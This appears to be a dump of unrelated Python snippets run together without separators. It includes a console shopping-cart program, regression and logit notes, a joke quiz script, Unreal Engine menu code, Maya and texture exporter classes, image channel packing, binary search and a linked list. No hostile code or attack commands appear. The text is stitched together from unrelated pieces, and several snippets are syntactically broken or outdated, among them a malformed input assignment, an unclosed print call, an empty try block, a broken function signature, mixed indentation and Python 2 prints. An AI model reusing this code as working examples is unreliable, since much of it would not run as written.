    buy_another_flag = int(input("Would you like another item? enter Yes (1) or No (0):"))

print("The total price of your basket is: ", total_cost)
### Initialization Process ###

# Creating Item Database #

import weakref
# Module for process involved with displaying all items available. Not sure what it is or does but it works...

class Item(object):
    items = []
    # Ignore. Empty list for displaying all items available. 

    def __init__(self, itemname, itemprice):
        self.__class__.items.append(weakref.proxy(self))
        self.itemname = itemname
        self.itemprice = itemprice
    # For defining new items; takes name of item and its price.

    def GetItemName(self):
        return self.itemname
    # To get the name of a specific item

    def GetItemPrice(self):
        return self.itemprice
    # To get the price of a specific item.

    def ChangeItemPrice(self, newprice):
        self.itemprice = newprice
    # To change price of a specific item.

# Creating Cart Class #

class Cart(dict): 
    """cart dict format:  {itemname:[price,number]}"""
    def ShowCart(self):
        return self
    # To define user's cart.

# Creating Customer's Shopping Account #

class Customer(object):
    """Produces an objects that represent customers."""

    def __init__(self, customer_name, customer_id):   
        self.customer_name = customer_name
        self.customer_id = customer_id
        self.cartlist = {}
        self.cartlist[0] = Cart()
    # For defining new customers; takes person's name and id.

    def AddCart(self):
        self.cartlist[len(self.cartlist)] = Cart()
    # To create a new cart.

    def GetCart(self, cartindex = 0):
        return self.cartlist[cartindex]
    # To get a cart.

    def BuyItem(self, item, itemnum, cartindex = 0):
        try:
            self.cartlist[cartindex][item.GetItemName()][1] += itemnum
        except:
            self.cartlist[cartindex].update({item.GetItemName():[item.GetItemPrice(),itemnum]})
    # Process of buying an item

    def BuyCancle(self, item, itemnum, cartindex = 0):
        try:
            self.cartlist[cartindex][item.GetItemName()][1] -= itemnum
        except:
            self.cartlist[cartindex].update({item.GetItemName():[item.GetItemPrice(),itemnum]})
    # Process of cancelling buying an item
    
    def CheckOut(self):
        global order_history
        order_history = []
        items_bought = []
        for item in self.cartlist:
            items_bought.append(self.cartlist[item])
        #self.cartlist = {} --> removed due to bug
        print("Items bought were:", items_bought)
        print("\nFormat to read bill is: [{'item_name': [unit price (USD), quantity]}]")
        order_history.append(items_bought)
        items_bought = []
    # To 'buy' the items and therefore reset the cart and add into order history.
    
    def ViewOrderHistory(self):
        print("Full history of items bought is:\n", order_history)
        print("\nFormat to read bill is: [[{'item_name': [unit price (USD), quantity]}]]")
    # To view the order history of items bought from all checkouts.

# Initializing Item Database #
# Format: name = Item('name', price)

Apple = Item('Apple', 7.8)
Pear = Item('Pear', 5)  

# Initializing Store For Item Database #

def ShowItems():
    for item in Item.items:
        print("Item name:", item.itemname, "| Item price: $", item.itemprice, "USD")
# Above code is to display all items available.

# User Agreement Function #

def okay():
    okay = input("\n\nType 'okay' to continue: ")
    print("")
# Function that simply asks for a filler user input before proceeding to the code after it.
    
# User Add Item Loop Function #

def add_item_to_cart_function():
    error_count = -1
    while True:
        error_count += 1
        if error_count > 0:
            print("\nERROR: The item you input is not in our catalogue. Choose only one of specific items from our inventory, or make sure the input is case sensitive.\n")
        item_wanted = str(input("Enter the item you would like to add to the cart: "))
        # Asks for user input for item desired.
        global item_wanted_variable
        item_wanted_variable = item_wanted
        item_search = globals()
        if item_wanted_variable in item_search:
            try:
                item_wanted_confirmed = item_search[item_wanted_variable]
                break
            except UnboundLocalError:
                continue
    # Used to troubleshoot class attribution error where item_wanted was a string class and could not be identified as an item. Essentially takes item_wanted and its string class, and finds a variable in this code with the same name, and then goes from there.
    qnty_wanted = int(input("Enter the quantity of the item you would like to purchase: "))
    # Asks for user input for item quantity desired.
    customer_name.BuyItem(item_wanted_confirmed, qnty_wanted, cart_num)
    print("\nYou are adding", qnty_wanted, item_wanted, "s for", item_wanted_confirmed.itemprice, "each.")
    okay()
    print("")
    print(customer_name.customer_name, "'s Cart", cart_num, "has: %s" % customer_name.GetCart(cart_num))
    print("\nFormat to read cart is: {'item_name': [unit price (USD), quantity]}")
    # Adds the item and quantity to the cart under the iteration.

# User Remove Item Loop Function #

def remove_item_from_cart_function():
    error_count = -1
    while True:
        error_count += 1
        if error_count > 0:
            print("\nERROR: The item you input is not in our catalogue. Choose only one of specific items from our inventory, or make sure the input is case sensitive.\n")
        cart_num_for_removal = int(input("Enter the cart number of which you are referencing here: "))
        # Asks for user input for cart being referenced.
        item_removed = str(input("Enter the name of item you would like to remove from the cart: "))
        # Asks for user input for item removal desired.
        global item_removed_variable
        item_removed_variable = item_removed
        item_search = globals()
        if item_removed_variable in item_search:
            try:
                item_removed_variable = item_search[item_removed_variable]
                break
            except UnboundLocalError:
                continue
    # Used to troubleshoot class attribution error where item_wanted was a string class and could not be identified as an item. Essentially takes item_wanted and its string class, and finds a variable in this code with the same name, and then goes from there.
    qnty_removed = int(input("Enter the quantity of the item you would like to have removed: "))
    # Asks for user input for item quantity desired.
    customer_name.BuyCancle(item_removed_variable, qnty_removed, cart_num_for_removal)
    print("\nYou are removing", qnty_removed, item_removed, "s in Cart", cart_num_for_removal)
    okay()
    print("")
    print(customer_name.customer_name, "'s Cart", cart_num_for_removal, "now has: %s" % customer_name.GetCart(cart_num_for_removal))
    print("\nFormat to read cart is: {'item_name': [unit price (USD), quantity]}")
    print("\nIf an item is 0 in quantity, consider it fully removed from the cart.\n")
    # Removes the item and quantity in the cart specified.


### UI Functioning Process ###

# User Input Warning #

print("**Program Note:**\n\nAll user inputs are CASE SENSITIVE. When typing a response given a set of options, please make sure input is case sensitive to the option. Furthermore, in the following program, at some point you may be required to enter the name of an 'item'. When prompted so, please make sure the name of the item is Title Case.\n\n")

print("-----\n\n")

# Initial Greeting #

print("Welcome to Shivam's online wholesale all-purpose store! Everything and anything is offered here in all sorts of ranges. Enjoy shopping here, and follow the steps appropriately for the best service.")

# Shop Function #

import sys
# Module that implements usage of a 'main menu' to make things easier.

from random import randint
# Module that was used for generating random user ID.

def MainMenu():
    while True:
        try:
            option = int(input("""\n-----\n
Select a number for the action that you would like to do (it is recommended to go in respective ascending order):\n
            1. Create your customer shopping account
            2. View all items available for purchase
            3. Add items to a shopping cart
            4. Proceed to checkout
            5. View past order history
            6. Exit shopping session
            \nEnter Your Choice: """))
            
            # Asks user to choose one of the numbers to continue on to the specified option.
        
        except ValueError:
            print("\nERROR: You did not make a valid selection. Choose only one of the digits from the given options.")
            continue
        
            # In the case that user enters an incorrect input; restarts the loop and asks again.
        
        else:
            if option == 1:
                print("\nHello! Let's create your shopping account. A few details will be needed, and there will be a few fewsmall things to note down.\n")
                confirming_response1 = input("\nYou're sure you want to proceed, right?\n\n Yes, continue. \n No, return me back to the menu.\n\n")
                if confirming_response1 == 'Yes':
                    print("\n\nOkay! System will continue...\n\n")
                    name = str(input("To create your account, we will need your name. Please enter it: "))
                    print("\nThank you. You're account will be under this name. Also, you'll need an ID for the account, which is below:\n")
                    random_id = randint(1111, 9999)
                    print(str(random_id))
                    print("\nIt'll be helpful to remember these for your own use once we obtain a log-in system. For now, though, this information will serve helpful for us to keep track of your account.\n")
                    global customer_name
                    customer_name = name
                    customer_name = Customer(customer_name, random_id)
                    print("\nThe following confirms your account:\n")
                    print(customer_name.customer_name)
                    print(customer_name.customer_id)
                    okay()
                    print("\nAll right! So your account is now created. You can use this to continue on with your shopping process.")
                    continue
                else:
                    print("\n\nOkay! Back to the main menu...\n")
                    continue
    
            if option == 2:
                print("\nHello! So you would like to see what we have to offer? No problem!\n")
                confirming_response2 = input("\nYou're sure you want to proceed, right?\n\n Yes, continue. \n No, return me back to the menu.\n\n")
                if confirming_response2 == 'Yes':
                    print("\n\nOkay! System will continue...\n\n")
                    print("We have a growing inventory of items to offer. You don't need to worry about the stock at the moment; we have more than you can count. Anyway, below is a list of the current inventory of items and unit prices (USD) for each:\n\n")
                    ShowItems()
                    print("\n\nThose are our concurrent items available for you to buy. Hopefully something catches your eye. Remember these items, as you'll want the full list when moving onto the buying process!")
                    okay()
                    print("\nAll right! So you're ready now. You can use this list later on in the shopping process.")
                    continue
                else:
                    print("\n\nOkay! Back to the main menu...\n")
                    continue
    
            elif option == 3:
                print("\nHello! So you would like add items to your cart? No problem, let's get you through the process!\n")
                confirming_response3 = input("\nYou're sure you want to proceed, right?\n\n Yes, continue. \n No, return me back to the menu.\n\n")
                if confirming_response3 == 'Yes':
                    print("\n\nOkay! System will continue...\n\n")
                    exit_loop = 0
                    global cart_num
                    cart_num = 0
                    while exit_loop == 0:
                        print("If you have not already seen, we have a growing inventory of items to offer. Keep in mind a specific item (or items) you would like to purchase.\n")
                        print("First off, before buying, you'll need to obtain a shopping cart. Luckily, this is virtual, and we'll create a digital shopping cart for you. If this is not your first time going through this process, a new cart defined by the next ascending natural number will be made.")
                        okay()
                        customer_name.AddCart()
                        cart_num += 1
                        print("\nAll right! A new cart has been created. You may now move on to the adding process.\n")
                        print("\nSo, let's add some of the items you would like.\n")
                        exit_item_buying_loop = 0
                        while exit_item_buying_loop == 0:
                            add_item_to_cart_function()
                            exit_item_bl_prompt = int(input("\nIf you are done adding items to the cart, then type '1'. Else, if you want to keep adding items, type '0': "))
                            if exit_item_bl_prompt == 1:
                                break
                            else:
                                continue
                        print("\nThank you for adding items to your cart; that completes this session. Hopefully you got everything you wanted.")
                        okay()
                        print("\nAll right! So that was Cart %s.\n" % cart_num)
                        exit_loop_prompt = int(input("Do you want to make a new session with a new cart and buy more items again? Or do you simply wish to continue back to the menu? Type '1' if you wish to exit back to the menu, and type '0' if you wish to start another session: "))
                        if exit_loop_prompt == 1:
                            print("\nOkay! Enough of the shopping spree, back to the main menu it is!\n")
                            break
                        else:
                            print("\nOkay! Continue the shopping spree!\n")
                            continue
                        continue
                else:
                    print("\n\nOkay! Back to the main menu...\n")
                    continue
    
            elif option == 4:
                print("\nHello! So you would like to proceed to checkout? No problem! Hopefully you have something in your cart(s).\n")
                confirming_response4 = input("\nYou're sure you want to proceed, right?\n\n Yes, continue. \n No, return me back to the menu.\n\n")
                if confirming_response4 == 'Yes':
                    print("\n\nOkay! System will continue...\n\n")
                    print("\nBelow is your full bill, which accounts every cart you had and the quantity of items in each. Read it carefully before proceeding.\n\n")
                    customer_name.CheckOut()
                    okay()
                    print("\nNow, this is your opportunity to cancel any orders of the items you bought and remove them from the bill.\n")
                    bill_prompt = str(input("Would you like to remove anything?\nYes or No: "))
                    if bill_prompt == "Yes":
                        print("\nAll right! We'll undergo the process of removing certain items.\n")
                        print("So, let's remove some of the items you would like.\n")
                        exit_item_removing_loop = 0
                        while exit_item_removing_loop == 0:
                            remove_item_from_cart_function()
                            exit_item_rl_prompt = int(input("\nIf you are done removing items from the cart(s), then type '1'. Else, if you want to keep removing items, type '0': "))
                            if exit_item_rl_prompt == 1:
                                break
                            else:
                                continue
                    else:
                        print("\nNo? Okay! Let the process continue.\n")
                    print("\nHere is your final bill:")
                    customer_name.CheckOut()
                    okay()
                    print("\nVery well! So you've checked out your items now. You can either repeat the process and explore further or go see your order history if you have checked out several times.\n")
                    continue
                else:
                    print("\n\nOkay! Back to the main menu...\n")
                    continue
            
            elif option == 5:
                print("\nHello! Want to see your order history? Okay!\n")
                confirming_response5 = input("\nYou're sure you want to proceed, right?\n\n Yes, continue. \n No, return me back to the menu.\n\n")
                if confirming_response5 == 'Yes':
                    print("\n\nOkay! System will continue...\n\n")
                    print("\nAssuming you have bought items recently, below is your order history:\n\n")
                    customer_name.ViewOrderHistory()
                    print("\n\nThere's your order history! There's nothing very special you can do with it, apart from totalling up everything you have bought.")
                    okay()
                    print("\nVery well then. At this point, you can either go back and explore the store again or you can visit the main menu and leave the store.\n")
                    continue
                else:
                    print("\n\nOkay! Back to the main menu...\n")
                    continue

            elif option == 6:
                confirming_response6 = input("\n\nYou're sure you want to proceed, right?\n\n Yes, continue. \n No, return me back to the menu.\n\n")
                if confirming_response6 == 'Yes':
                    print("\n\nLeaving already? All right! Thank you for shopping here at Shivam's online wholesale all-purpose store. Hope to see you again soon!")
                    okay()
                    sys.exit()
                    # Forcefully turns off the function and stops the code. 
                else:
                    print("\n\nOkay! Back to the main menu...\n")
                    continue

# Running Code Process #

MainMenu()

# Runs function MainMenu() aka the whole code.


### Testing And Miscellaneous ###

# No testing left.

# Future Work Notes #

"""
* Implement log-in/log-out systems possibly and make it so there can be several accounts running at the same time.

* Implement subclasses of items (i.e. food, appliances).
"""
# Log-odd is the Logit intercept 
log_odd = -0.473288 
print(f"log_odd = -0.473288 ")

# Calculation odds -> compute e-function on the logit using exp() “de-logarithimize”
odds = np.exp(log_odd)
print(f'odds = {odds}  Round:{round(odds, 2)}')

# To convert from odds to a probability, divide the odds by one plus the odds.
prob = odds / (1 + odds)
print(f'prob = {prob} Round:{round(prob, 2)}')
# Setup a range from 1% probability to 100% probability
p = np.arange(0.01, 1, 0.005)
print('Probabilities: ', p[0:2],  p[-2:])

# Convert probabilities to odds 0.01 / (1-0.01) <=> (0.99)
odds = p / (1-p)
print('Odds: ', odds[0:2], odds[-2:])

# Get the natural log of those odds
log_odds = np.log(odds)
print('Log Odds: ', log_odds[0:2], log_odds[-2:])
%load_ext autoreload
%autoreload 2
# Import modules 
import pandas as pd
import numpy as np 
import seaborn as sns
import matplotlib.pyplot as plt

# Load df
df = pd.read_csv('filepath.csv')
df

#Exploratory Data Analysis with SweetViz
import sweetviz as sv
analyze_report = sv.analyze(df)
analyze_report.show_html('report.html', open_browser=False)

# Generate Heat Map, could be loaded after standardisation of variables.
%config InlineBackend.figure_format = 'retina'
plt.figure(figsize = (10, 10))

sns.heatmap(
    df.corr(), 
    cmap = 'crest', 
    annot = True, 
    annot_kws = {"size": 10}
)

# Univariate regression
# Use statsmodels with statsmodels.formula.api
# model1: an ols regression of observed dependent variable (values of the variable being observed)
# in the input dataset and the output of the (linear) function of the independent variable.
# y = dep_variable, x = ind_variable 

import statsmodels.formula.api as smf

model1 = smf.ols('dep_variable ~ indep_variable', data=df).fit()
print(model1.summary())

# Multivariate Linear Regression
# Using respective z-score (standardize) in order to compare the partial regression coefficients together.

# Variables to compare 
features = [
    "wait_time",
    "delay_vs_expected",
    "number_of_products",
    "number_of_sellers",
    "price",
    "freight_value",
    "distance_seller_customer",
]

# Standardize independent variables.
df_standardized = df.copy()
for f in features:
    mu = df[f].mean()
    sigma = df[f].std()
    df_standardized[f] = df[f].map(lambda x: (x - mu) / sigma)
df_standardized

# Regression Formula
formula = "dep_variable ~ " + ' + '.join(features)
formula

# Perform regression
# Review if statsitically significant review output
import statsmodels.formula.api as smf

model2 = smf.ols(formula = formula, data = df_standardized).fit()
print(model2.summary())

# Visualize the most important feature with a bar plot.
model2.params[1:].sort_values().plot(kind='barh')

# Check model's performance
# Regression performance should not be measured only by its R-squared!
# Always visualize the distribution of the predictions, and especially the residuals.
predicted_dep_variable = model2.predict(df_standardized[features])
residuals = predicted_dep_variable - df_standardized.dep_variable

# Plot the Resduals 
sns.histplot(residuals, kde=True, stat='density', discrete=True)
plt.title('Residuals Density Plot')

# Compute the associated RMSE.
# RMSE values between 0.2 and 0.5 shows that the model can relatively predict the data accurately.
# In addition, Adjusted R-squared more than 0.75 is a very good value for showing the accuracy.
rmse = (residuals**2).mean()**0.5
rmse

# Plot, on the same graph, both the distribution (KDE) of the (actual) dependent_variable 
# and the distribution of the predicted_dependent_variable.
sns.kdeplot(predicted_dep_variable, label='Predicted dep_variable Distribution')
sns.kdeplot(df.dep_variable, label = 'Actual dep_variable Distribution')
plt.title('Distribution of Predicted and Actual Dependant Variable ')

# Using seaborn, plot a regression line of the dep_variable vs.an independant_variable.
# Do plot with sample and whole population.
sample = df.sample(1000, random_state=42)
plt.figure(figsize=(13,5))
plt.suptitle('Regression of dep_variable, 95% Confidence Interval')
plt.subplot(1,2,1)
sns.regplot(x = sample.dep_variable, y= sample.dep_variable, y_jitter=.1, ci=95)
plt.xlim(right=70)
plt.ylim(bottom=0)

plt.subplot(1,2,2)
sns.regplot(x = orders.ind_variable, y= orders.dep_variable, y_jitter=.1, ci=95)
plt.xlim(right=70)
plt.ylim(bottom=0)
user = input("Hi, Im Aidan, what is your name?\n")
 
print(f"Well {user}, nice to meet you, your names kinda weird though.")
print(f"Nevertheless Im here to quiz you! To start, what is 7-4?")
 
 
larisha=input()
 
if(larisha =="3"):
    print("Thats right... Shawty.")
 
if(larisha !="3"):
    print("Seriously? How can you get it wrong, just count your fingers and try again.")
 
 
print("Moving on, What is 8x4?")
 
shawn=input()
 
if(shawn=="32"):
    print("Correct!")
 
if(shawn!="32"):
    print("Try again!")
 
print("Ok another question question what is the meaning of life?")
 
kelp=input()
 
if(kelp=="42"):
    print("Your very cool, its a great book.")
    
elif(kelp=="idk"):
    print("Then live your life in confusion.")
 
elif(kelp=="ethics"):
    print("bummer")
 
elif(kelp=="ass"):
    print("Bet https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab just copy and paste it.")
elif(kelp!="42"):
    print("Im sure your answer was amazing but no.")
    
print("Lets test your ethics.\n")
print("If, there was a dying man who needed $300 to get life saving sugery, and there was an Iron Maiden Concert that cost $300, which one would you choose, the man or the concert?")
 
bobby=input()
if(bobby=="the man"):
	print("Good choice, but you'll miss a great concert.")
 
elif(bobby=="the concert"):
	print("I mean, Iron Maiden is great but seriously you'd let a man die in return? yeesh")
 
elif(bobby!=["the man","the concert"]):
	print("That wasn't an answer, please use either, 'the man' or 'the concert'.")
    
print("Moving on... How many bones are in the human body?")
duke=input=()
 
if(duke=="206"):
	print("Jesus why do you know that, is so specific."
 
if(duke!="206"):
    print("Honestly I didn't know either I dont blame you one bit.")
          
print("Honeslty after that I  don't want to do any more numerical based questions.")
print
print("Lets get back to the easy stuff")
print("What would be the color outcome if I mixed the colors blue and red?")
gonk=input()
if(bobby=="purple"):
	print("Nice one! ")
elif(bobby!="purple"):
	print("Have you never seen a color wheel? oml.")
import numpy as np
from PIL import Image

path = 'res/input.tga'
img = Image.open(path)

data = np.asarray(img.convert('L'))

# -- this will print the resolution of the image in pixels, as numpy converts our image to an
# -- array with dimensions equal to the number of pixels in width / height of the image.
print(data.shape)
from django.utils.decorators import method_decorator
from django.views.decorators.cache import cache_page

class ProductListAPIView(generics.ListAPIView):
    serializer_class = ProductSerializer

    @method_decorator(cache_page(60))
    def dispatch(self, *args, **kwargs):
        return super(ProductListAPIView, self).dispatch(*args, **kwargs)
try:
       # Some Code.... 

except:
       # optional block
       # Handling of exception (if required)

else:
       # execute if no exception

finally:
      # Some code .....(always executed)
def log_params(func):
    def wrapper(*args, **kwargs):
        return_value = func(*args, **kwargs)
        print(f"{args} -> {return_value}")

    return wrapper


@log_params
def summation(a: int, b: int) -> int:
    return a + b


summation(10, 20)
    print(form.data)
    print(form.is_submitted())
    print(form.validate())
    print(form.validate_on_submit())
import os
import sys

sys.path.insert(0, os.path.join(os.path.dirname(__file__), 'External'))
sys.path.insert(0, os.path.join(os.path.dirname(__file__), 'Internal'))

from unreal_menu_demo.setup_menu import setup_menu, setup_menu_entry

setup_menu()
setup_menu_entry()
import unreal
from .constants import tool_menus
from .menu_entry import CustomScriptMenuEntry


# ----------------------------------------------------------------------------------------------------------------------
def get_custom_menu():
    # -- first let's acquire a handle on the new menu we created in the last section.
    return tool_menus.find_menu('LevelEditor.LevelEditorToolbar.MyPythonMenu')


# ----------------------------------------------------------------------------------------------------------------------
def setup_menu():
    # -- now we need a handle on the main level editor toolbar instance.
    # -- we can use ToolMenus' "find_menu" function for this.
    toolbar = tool_menus.find_menu('LevelEditor.LevelEditorToolbar')

    # -- now let's create a new menu entry
    entry = unreal.ToolMenuEntryExtensions.init_menu_entry(
        # owner
        toolbar.menu_name,
        # name
        'MyPythonMenu',
        # label
        'My Python Menu',
        # tooltip
        'This is a custom python menu - you can do cool stuff with it!',
        # command_type
        unreal.ToolMenuStringCommandType.COMMAND,
        # custom command type - we don't need to use this
        '',
        # command string - normally this would be a python command, but we don't need this.
        ''
    )

    # -- now that we've created the entry, we can tell unreal it's supposed to be a combo button
    entry.type = unreal.MultiBlockType.TOOL_BAR_COMBO_BUTTON

    # -- and now we can add the button to the toolbar
    toolbar.add_menu_entry('PythonExtensions', entry)

    # -- now we tell unreal that the button we just created is ACTUALLY a menu.
    # -- this makes it so that when pressed, unreal does not invoke the button's "actions",
    # -- but instead creates a context menu we can populate.
    # -- calling this "register_menu" function helpfully also returns a handle on the menu object itself.
    # -- Note how we have to register the button by its Name property.
    tool_menus.register_menu(
        # the menu name -- this MUST MATCH the name of the combo button we gave
        'LevelEditor.LevelEditorToolBar.MyPythonMenu',
        # parent - we leave this blank in this case
        '',
        # menu type - we just want a normal menu
        unreal.MultiBoxType.MENU,
        # warn_if_already_registered - if False, this will just not do anything if it already exists.
        False
    )

    # -- as a final step we need to tell unreal to refresh all menus
    tool_menus.refresh_all_widgets()


# ----------------------------------------------------------------------------------------------------------------------
def setup_menu_entry():
    entry = CustomScriptMenuEntry()
    entry.name = 'CustomScriptMenuEntry'
    get_custom_menu().add_menu_entry_object(entry)
    tool_menus.refresh_all_widgets()
import unreal


# -- this is a custom overloaded unreal class in python
# -- it inherits ToolMenuEntryScript, which means we can re-implement some key methods.
@unreal.uclass()
class CustomScriptMenuEntry(unreal.ToolMenuEntryScript):

    @unreal.ufunction(override=True)
    def get_label(self, context):
        return 'test'
    
    # -- this is where the real magic happens!
    @unreal.ufunction(override=True)
    def execute(self, context):
        """
        In this method, as a developer, you can run any logic you want from your context menu, and it can have as
        many lines as you want!
        """
        print('Hello World')
for i in range(len(dicts)):
    if dicts[i].get('id') == 2:
        del dicts[i]
l = [dict(zip([1],[x])) for x in range(1,3)]
print(l)


# Output
#[{1: 1}, {1: 2}]
exporter = BasicMayaMeshExporter(options=dict(mesh_name='Sphere001', export_path='my_export_path.fbx'))
exporter.run()
# -- Assuming "base_exporter.py" exists in sys.path
from base_exporter import ExporterBase

# -- import the modules we will need to acquire our mesh, and export it
import pymel.core as pm

class BasicMayaMeshExporter(ExporterBase):

    def validate():
        # -- get all meshes that conform to the name given in the options, under the "mesh_name" key
        mesh = pm.ls(self.options.get('mesh_name'), geometry=True, sl=False)

        # -- fail the export process if no such meshes exist
        if not len(mesh):
            return False

        # -- if they do, continue the export process. This exporter does not enfoce the mesh name to be unique.
        return True
        
    def export():
        # -- acquire the meshes and select them
        meshes = pm.ls(self.options.get('mesh_name'), geometry=True, sl=True)

        # -- perform the export
        pm.exportSelected(self.options.get('export_path'))
exporter = TextureExporter(options=dict(texture='my_texture'))
exporter.run()
class TextureExporter(ExporterBase):
    def validate(self):
        return my_dcc.has_texture(self.options.get('texture'))

    def export(self):
        my_dcc_method.export(self.options.get('texture'))
class ExporterBase(object):
    def __init__(options=None):
    	self.options = options or dict()
import my_dcc

class TextureExporter(ExporterBase):
    def validate(self):
        return my_dcc.has_texture(my_texture)

    def export(self):
        my_dcc_method.export(my_texture)
class ExporterBase(object):
    def validate(self):
        return True

    def export(self):
        raise NotImplementedError

    def run(self):
        if not self.validate():
            return False
        self.export()
class PackerBase(object):
    def process(self, output_file, inputs=None):
    	raise NotImplementedError()
from PIL import Image
import numpy

class RGBAPacker(object):
    def process(self, output_file, inputs=None):
    	# -- we assume "inputs" is a dictionary of image files, with the keys corresponding to the channels they want packing in.
    	inputs = inputs or dict()
    	r = Image.open(inputs.get('mask1')).convert('L')
        g = Image.open(inputs.get('mask2')).convert('L')
        
        # -- our procedurally generated blue channel is the multiplied result of the first and second masks. 
        # -- This is a super simple operation, but you can make this as complex as you like.
        b = numpy.asarray(r) * numpy.asarray(g)
        b = Image.fromarray(b)
        
        output = Image.merge('RGB', r, g, b)
        output.save(output_file)
from PIL import Image

class RGBAPacker(object):
    def process(self, output_file, inputs=None):
    	# -- we assume "inputs" is a dictionary of image files, with the keys corresponding to the channels they want packing in.
    	inputs = inputs or dict()
    	r = Image.open(inputs.get('r')).convert('L')
        g = Image.open(inputs.get('g')).convert('L')
        b = Image.open(inputs.get('b')).convert('L')
        a = Image.open(inputs.get('a')).convert('L')
        
        output = Image.merge('RGBA', r, g, b, a)
        output.save(output_file)
# -- now we tell unreal that the button we just created is ACTUALLY a menu.
# -- this makes it so that when pressed, unreal does not invoke the button's "actions",
# -- but instead creates a context menu we can populate.
# -- calling this "register_menu" function helpfully also returns a handle on the menu object itself.
# -- Note how we have to register the button by its Name property.
sub_menu = tool_menus.register_menu(
    # the menu name -- this MUST MATCH the name of the combo button we gave
    'LevelEditor.LevelEditorToolBar.MyPythonMenu',
    # parent - we leave this blank in this case
    '',
    # menu type - we just want a normal menu
    unreal.MultiBoxType.MENU,
    # warn_if_already_registered - if False, this will just not do anything if it already exists.
    False
)

# -- now we can create a menu entry. This can be done in a variety of ways.
menu_entry = unreal.ToolMenuEntry()
menu_entry.name = 'MyCustomOption'
menu_entry.set_label('My Custom Option')
menu_entry.type = unreal.MultiBlockType.MENU_ENTRY

sub_menu.add_menu_entry('My Custom Section', menu_entry)

# -- as a final step we need to tell unreal to refresh all menus
tool_menus.refresh_all_widgets()
import unreal

# -- first let's acquire a global instance we'll need - ToolMenus
tool_menus = unreal.ToolMenus.get()

# -- now we need a handle on the main level editor toolbar instance.
# -- we can use ToolMenus' "find_menu" function for this.
toolbar = tool_menus.find_menu('LevelEditor.LevelEditorToolbar')

# -- now let's create a new menu entry
entry = unreal.ToolMenuEntryExtensions.init_menu_entry(
    # owner
    toolbar.menu_name,
    # name
    'MyPythonMenu',
    # label
    'My Python Menu',
    # tooltip
    'This is a custom python menu - you can do cool stuff with it!',
    # command_type
    unreal.ToolMenuStringCommandType.COMMAND,
    # custom command type - we don't need to use this
    '',
    # command string - normally this would be a python command, but we don't need this.
    ''
)

# -- now that we've created the entry, we can tell unreal it's supposed to be a combo button
entry.type = unreal.MultiBlockType.TOOL_BAR_COMBO_BUTTON

# -- and now we can add the button to the toolbar
toolbar.add_menu_entry('PythonExtensions', entry)

# -- as a final step we need to tell unreal to refresh all menus
tool_menus.refresh_all_widgets()
import unreal

# -- first let's acquire a global instance we'll need - ToolMenus
tool_menus = unreal.ToolMenus.get()

# -- now we need a handle on the main level editor toolbar instance.
# -- we can use ToolMenus' "find_menu" function for this.
toolbar = tool_menus.find_menu('LevelEditor.LevelEditorToolbar')

# -- now let's create a new menu entry
entry = unreal.ToolMenuEntryExtensions.init_menu_entry(
    # owner
    toolbar.menu_name,
    # name
    'MyPythonMenu',
    # label
    'My Python Menu',
    # tooltip
    'This is a custom python menu - you can do cool stuff with it!',
    # command_type
    unreal.ToolMenuStringCommandType.COMMAND,
    # custom command type - we don't need to use this
    '',
    # command string - normally this would be a python command, but we don't need this.
    ''
)

# -- now that we've created the entry, we can tell unreal it's supposed to be a combo button
entry.type = unreal.MultiBlockType.TOOL_BAR_COMBO_BUTTON

# -- and now we can add the button to the toolbar
toolbar.add_menu_entry('PythonExtensions', entry)

# -- now we tell unreal that the button we just created is ACTUALLY a menu.
# -- this makes it so that when pressed, unreal does not invoke the button's "actions",
# -- but instead creates a context menu we can populate.
# -- calling this "register_menu" function helpfully also returns a handle on the menu object itself.
# -- Note how we have to register the button by its Name property.
sub_menu = tool_menus.register_menu(
    # the menu name -- this MUST MATCH the name of the combo button we gave
    'LevelEditor.LevelEditorToolBar.MyPythonMenu',
    # parent - we leave this blank in this case
    '',
    # menu type - we just want a normal menu
    unreal.MultiBoxType.MENU,
    # warn_if_already_registered - if False, this will just not do anything if it already exists.
    False
)

# -- now we can create a menu entry. This can be done in a variety of ways.
menu_entry = unreal.ToolMenuEntry()
menu_entry.name = 'MyCustomOption'
menu_entry.set_label('My Custom Option')
menu_entry.type = unreal.MultiBlockType.MENU_ENTRY

sub_menu.add_menu_entry('My Custom Section', menu_entry)

# -- as a final step we need to tell unreal to refresh all menus
tool_menus.refresh_all_widgets()
import unicodedata

def strip_accents(s):
    return ''.join(c for c in unicodedata.normalize('NFD', s)
                   if unicodedata.category(c) != 'Mn')
def binarySearch(array, value):
    min_number = 0
    max_number = len(array) - 1

    while min_number <= max_number:
        mid_number = (min_number + max_number) // 2
        if value == array[mid_number]:
            return f"Found {value} at Index {mid_number}"
        elif value < array[mid_number]:
            max_number = mid_number - 1
        else:
            min_number = mid_number + 1
    return "Not Found"


array = [0, 2, 5, 8, 10, 12, 15]
print(binarySearch(array, 12))
f = open("final_list", 'r')
data = ast.literal_eval(f.read())
from sklearn.cross_validation import StratifiedKFold

def load_data():
    # load your data using this function

def create model():
    # create your model using this function

def train_and_evaluate__model(model, data[train], labels[train], data[test], labels[test)):
    model.fit...
    # fit and evaluate here.

if __name__ == "__main__":
    n_folds = 10
    data, labels, header_info = load_data()
    skf = StratifiedKFold(labels, n_folds=n_folds, shuffle=True)

    for i, (train, test) in enumerate(skf):
            print "Running Fold", i+1, "/", n_folds
            model = None # Clearing the NN.
            model = create_model()
            train_and_evaluate_model(model, data[train], labels[train], data[test], labels[test))
>>> l = [-1, 3, 2, 0,0]
>>> [sorted(l).index(x) for x in l]
[0, 4, 3, 1, 1]
class Node:
    def __init__(self, data):
        self.data = data
        self.next = None


class LinkedList:
    def __init__(self):
        self.head = None
        self.last_node = None

    def prepend(self, data):
        new_node = Node(data)
        new_node.next = self.head
        self.head = new_node

    def push(self, data):
        if self.last_node is None:
            self.head = Node(data)
            self.last_node = self.head
        else:
            self.last_node.next = Node(data)
            self.last_node = self.last_node.next

    def insert_after(self, prev_node, data):
        if not prev_node:
            print('Given node not present in the list')
            return
        new_node = Node(data)
        new_node.next = prev_node.next
        prev_node.next = new_node

    def pswap(self):
        temp = self.head
        if temp is None:
            return

        while (temp is not None and temp.next is not None):
            temp.data, temp.next.data = temp.next.data, temp.data
            temp = temp.next.next

    def display(self):
        current = self.head
        while current:
            print(current.data, end=' ')
            current = current.next


llist = LinkedList()
T = int(input())
for x in range(T):
    d = int(input())
    llist.push(d)

llist.display()
llist.pswap()
print()
llist.display()
# convert the 'Date' column to datetime format
df['Date']= pd.to_datetime(df['Date'])
 
# Check the format of 'Date' column
df.info()
#WHILE LOOPS
